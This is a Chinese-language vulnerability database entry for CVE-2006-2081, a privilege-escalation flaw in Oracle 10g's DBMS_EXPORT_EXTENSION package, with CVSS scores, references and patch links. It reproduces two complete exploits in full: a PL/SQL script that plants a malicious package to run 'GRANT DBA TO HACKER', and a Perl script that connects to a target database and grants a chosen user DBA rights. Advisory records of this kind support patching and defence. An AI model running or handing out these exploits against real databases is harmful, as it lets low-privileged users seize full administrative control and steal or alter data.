CVE-2006-2081
CVSS4.6
发布时间 :2006-04-27 19:02:00
修订时间 :2008-09-05 17:03:37
NMCOE    

[原文]Oracle Database Server 10g Release 2 allows local users to execute arbitrary SQL queries via the GET_DOMAIN_INDEX_METADATA function in the DBMS_EXPORT_EXTENSION package. NOTE: this issue was originally linked to DB05 (CVE-2006-1870), but a reliable third party has claimed that it is not the same issue. Based on details of the problem, the primary issue appears to be insecure privileges that facilitate the introduction of SQL in a way that is not releated to special characters, so this is not "SQL injection" per se.


[CNNVD]Oracle 10g DBMS_EXPORT_EXTENSION存储过程远程SQL注入漏洞(CNNVD-200604-531)

        Oracle是一款大型的商业数据库系统。
        Oracle 10g中由SYS用户运行的DBMS_EXPORT_EXTENSION存储过程存在PL/SQL注入漏洞,允许低权限用户以DBA权限执行任意SQL代码。
        Oracle声称已在2006年4月的紧急补丁更新中修复了这个漏洞,但实际上并未修复。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2081
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2081
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-531
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/932124
(UNKNOWN)  CERT-VN  VU#932124
http://www.securityfocus.com/archive/1/archive/1/432078/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060426 Recent Oracle exploit is _actually_ an 0day with no patch
http://www.securityfocus.com/archive/1/archive/1/431353/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060419 Oracle 10g 10.2.0.2.0 DBA exploit
http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html
(UNKNOWN)  MISC  http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html
http://xforce.iss.net/xforce/xfdb/26048
(UNKNOWN)  XF  oracle-dbmsexportextension-sql-injection(26048)
http://www.securityfocus.com/bid/17699
(UNKNOWN)  BID  17699
http://www.securityfocus.com/archive/1/archive/1/432632/30/5250/threaded
(UNKNOWN)  BUGTRAQ  20060501 RE: Oracle 10g 10.2.0.2.0 DBA exploit
http://www.securityfocus.com/archive/1/archive/1/432355/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060427 Re: Recent Oracle exploit is _actually_ an 0day with no patch
http://www.securityfocus.com/archive/1/archive/1/432354/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060427 Re: Recent Oracle exploit is _actually_ an 0day with no patch
http://securitytracker.com/id?1015999
(UNKNOWN)  SECTRACK  1015999
http://securityreason.com/securityalert/802
(UNKNOWN)  SREASON  802
http://secunia.com/advisories/19860
(UNKNOWN)  SECUNIA  19860

- 漏洞信息

Oracle 10g DBMS_EXPORT_EXTENSION存储过程远程SQL注入漏洞
中危 SQL注入
2006-04-27 00:00:00 2006-04-28 00:00:00
远程  
        Oracle是一款大型的商业数据库系统。
        Oracle 10g中由SYS用户运行的DBMS_EXPORT_EXTENSION存储过程存在PL/SQL注入漏洞,允许低权限用户以DBA权限执行任意SQL代码。
        Oracle声称已在2006年4月的紧急补丁更新中修复了这个漏洞,但实际上并未修复。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:
        http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2006.html?_template=/o

- 漏洞信息 (1719)

Oracle <= 10g Release 2 (DBMS_EXPORT_EXTENSION) Local SQL Exploit (EDBID:1719)
multiple local
2006-04-26 Verified
0 N1V1Hd
N/A [点击下载]
/* 0day, description is wrong. /str0ke */

/*
* Fucking NON-0 day($) exploit for Oracle 10g 10.2.0.2.0
*
* Patch your database now!
*
* by N1V1Hd $3c41r3
*
*/

CREATE OR REPLACE
PACKAGE MYBADPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER;
END;
/

CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO HACKER';
COMMIT;
RETURN(1);
END;

END;
/

DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER';
TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER';
VERSION := '10.2.0.2.0'; GMFLAGS := 1;

v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
/

// milw0rm.com [2006-04-26]
		

- 漏洞信息 (3269)

Oracle 9i/10g DBMS_EXPORT_EXTENSION SQL Injection Exploit (EDBID:3269)
multiple remote
2007-02-05 Verified
0 bunker
N/A [点击下载]
#!/usr/bin/perl
#
# Remote Oracle dbms_export_extension exploit (any version)
# Grant or revoke dba permission to unprivileged user
# 
# Tested on Oracle 10g - Release 10.2.0.1.0
#	    Oracle  9i - Release  9.2.0.2.0
# 
#   REF:    http://www.securityfocus.com/bid/17699
#
#   AUTHOR: Andrea "bunker" Purificato
#           http://rawlab.mindcreations.com
#
#   DATE:   Copyright 2007 - Sun Feb  4 15:53:04 CET 2007
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
#
use warnings;
use strict;
use DBI;
use DBD::Oracle;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
    print <<"USAGE";
    
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r

Options:
     -h     <host>     target server address
     -s     <sid>      target sid name
     -u     <user>     user
     -p     <passwd>   password 

     -g|-r             (g)rant dba to user | (r)evoke dba from user

USAGE
    exit 0
}

my $opt_string = 'h:s:u:p:gr';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;

my $sqlcmd = "GRANT DBA TO $user";

print "[-] Wait...\n";
$dbh->{RaiseError} = 1;

if ($opt{r}) {
    print "[-] Revoking DBA from $user...\n";
    $sqlcmd = "REVOKE DBA FROM $user";
    $dbh->do( $sqlcmd );
    print "[-] Done!\n";
    $dbh->disconnect;
    exit;
}

$dbh->do( qq{ 
CREATE OR REPLACE PACKAGE BUNKERPKG AUTHID CURRENT_USER IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER;
END;
} );

print "[-] Building evil package\n";

$dbh->do(qq{ 
CREATE OR REPLACE PACKAGE BODY BUNKERPKG IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3
VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd';
COMMIT;
RETURN(1);
END;
END;
} );

print "[-] Finishing evil package\n";

$dbh->do(qq{ 
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMA VARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMA VARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := '$user';
TYPE_NAME := 'BUNKERPKG';
TYPE_SCHEMA := '$user';
VERSION := '';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME
=> TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>
NEWBLOCK, GMFLAGS => GMFLAGS
);
END;
} );

print "[-] YOU GOT THE POWAH!!\n";

$dbh->disconnect;

exit;

# milw0rm.com [2007-02-05]
		

- 漏洞信息

25002
Oracle Database DBMS_EXPORT_EXTENSION Package SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity Patch / RCS
Exploit Public Vendor Verified

- 漏洞描述

Oracle Database server contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the DBMS_EXPORT_EXTENSION package not properly sanitizing user-supplied input to the GET_DOMAIN_INDEX_METADATA. This may allow an attacker to inject or manipulate SQL queries in the back-end database, allowing for the manipulation or disclosure of arbitrary data.

- 时间线

2006-04-19 Unknow
2006-04-19 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Oracle has released a patch to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站